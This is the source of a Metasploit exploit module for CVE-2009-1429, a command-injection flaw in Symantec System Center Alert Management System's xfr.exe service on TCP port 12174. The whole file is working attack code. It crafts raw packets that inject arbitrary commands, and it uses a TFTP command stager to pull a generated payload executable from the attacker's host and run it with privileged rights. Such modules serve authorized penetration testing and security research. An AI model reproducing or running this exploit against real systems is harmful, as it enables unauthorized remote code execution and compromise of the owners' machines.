##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::CmdStager
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Symantec System Center Alert Management System (xfr.exe) Arbitrary Command Execution',
        'Description' => %q{
          Symantec System Center Alert Management System is prone to a remote command-injection vulnerability
          because the application fails to properly sanitize user-supplied input.
        },
        'Author' => [ 'MC' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2009-1429' ],
          [ 'BID', '34671' ],
          [ 'OSVDB', '54157' ],
          [ 'ZDI', '09-060' ],
          [ 'URL', 'http://www.symantec.com/business/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&suid=20090428_02' ]
        ],
        'Targets' => [
          [
            'Windows Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'win'
            }
          ]
        ],
        'CmdStagerFlavor' => 'tftp',
        'Privileged' => true,
        'Platform' => 'win',
        'DefaultTarget' => 0,
        'DisclosureDate' => '2009-04-28',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(12174),
        OptString.new('CMD', [ false, 'Execute this command instead of using command stager', ""]),
      ]
    )
  end

  def windows_stager
    print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
    execute_cmdstager({ temp: '.', tftphost: srvhost_addr })
    @payload_exe = generate_payload_exe

    print_status("Attempting to execute the payload...")
    execute_command(@payload_exe)
  end

  def execute_command(cmd, opts = {})
    connect

    len = 2 + cmd.length

    data = [0x00000000].pack('V')
    data << len.chr
    data << "\x00"
    data << cmd + " "
    data << "\x00"

    sock.put(data)

    res = sock.get_once

    if (!res)
      print_error("Did not received data. Failed?")
    else
      print_good("Got data, execution successful!")
    end

    disconnect
  end

  def exploit
    unless datastore['CMD'].blank?
      print_status("Executing command '#{datastore['CMD']}'")
      execute_command(datastore['CMD'])
      return
    end

    case target['Platform']
    when 'win'
      windows_stager
    else
      fail_with(Failure::Unknown, 'Target not supported.')
    end

    handler
  end
end